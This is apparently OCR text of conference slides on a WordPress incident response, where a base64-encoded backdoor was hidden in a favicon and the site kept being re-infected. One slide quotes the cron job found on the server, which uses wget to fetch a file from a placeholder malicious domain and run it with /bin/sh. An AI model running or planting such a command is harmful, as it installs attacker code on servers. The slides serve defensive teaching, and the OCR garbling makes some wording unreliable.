The Strange Case of Malicious
Favicons







When hacking occurs...




CSl aka Blue Team




Concepts












Hackers vs Cyberterrorists

e Curious person who loves to go beyond
limits or conventions.

e Computer Hacker, aligned to enrich
o lslssi=idefle himself in a zero-sum game situation.

e The bad guy




How a WordPress site is infected:

->

J J

Vulnerability Exploit — Injection

Final Code Backdoor

Spam /
defacement

J

BotNode Code

-




TARGETS

Database Content

Infrastructure Reputation




FACTS

Site hacking
almost never is

client-oriented
(98% of cases)

Patches & security
updates appear almost
always after hacking
exploits

Almost always
happens due to a
deficient monitoring /
maintenance

Errare Humanum Est
(Human being fails)

A SSL certificate
is not

an antihacking shield

Security never is
(nor will be)

100% effective




MEASURES

REACTIVE
When bad things have already happened

Pain mitigation

INCIDENT RESPONSE

PROACTIVE

Before anything bad happens

Risk mitigation

ANALYSIS & MONITORING



Incident response (IR) is the effort to quickly
identify an attack, minimize its effects,
contain damage, and remediate the cause
to reduce the risk of future incidents.
(vmware.com)



1t’s show
time




Case A1806
Crime Scene




Scenario

*SPAMMED site

* Affected SEO
(Google Rank
removed) \y

*Rapid Re-infection
*Frustration @



LA ESCENA

e Cliente con sitio lleno de SPAM

e Reinfeccidon constante

* No WA
. Nuestrhimpiado el SPAM y

detectado malware en plugins y root

* Sin analisis forense, se habia establecido como
PROBABLE vector de infeccion un plugin
desactualizado
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FACTS

* No WAF

e Our tools cleaned Spam and

malware in Plugins and root
folder

* Without forensic analysis, the
PROBABLE vector of infection was
set to a outdated plugin.

* Integrity analysis -> core files
modified (?) &



The CLUE

 MD5 hashes of WordPress Core files/folders.
e Using wordpress.org API



DIAGNOSIS

* No WAF

e Nuestros Scripts habian limpiado el SPAM
y detectado malware en plugins y root

e Sin analisis forense, se habia establecido
como PROBABLE vector de infeccion un
plugin desactualizado

e Ficheros core cambiados (¢?)
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DIAGNOSIS



ToolBelt so far

* |nterative PHP console
$ php —a

e unphp.net
 wordpress.org API




favicon 0Off481d1.ico




Uhmmmm... Base64 code apparently















Now, there is
a baseb4
<+ \/alid code










The REAL
Backdoor




The Structure

Summarizing...



ESTRUCTURA



ToolBelt so far

Herramientas

* Browser console, browser dev tools,
extensions

e Base64(code-decode):

e Beautifier of code in HTML, CSS, JS
and PHP:

* Phased decrypter:

Scanners
e Sitecheck (SUCURI)

e VirusTotal:

 WebPageTest:



After a several steps of
decoding












OK....
But how it got re-infected?



SURPRISE!

e CronJob:

MAILTO=""

* ok x * % wget -g -0 xxxd5
http://malicious.domain.com/xxxd && chmod 0755
xxxd5 && /bin/sh xxxd5 /Zhome/user/public_html &&
rm - xXxxd



A favicon can make your site a Bot Node

Oday ability

CO NC | usSion Different options available (SPAM included)

0o Tracking of infected sites and malware type used
[ A

BotNet Dashboard




Final Advises



Proactive measures

X Reduce admins, plugins and themes (LEAST PRIVILEGE RULE)

P Use a Passwords Manager, change periodically, strong ones

K  Backups (VALIDATE THEM)
4 Updates (REMEMBER: PATCHES COMES AFTER EXPLOITS)

A Monitor your site (WPSCAN.com & files integrity scanner)

’T WAF (Web Application Firewall)



Remember to Invest in

5.

HOSTING SECURITY

\







® THANKS!

RUESTIONS!

If you prefer
Twitter -> adpharar
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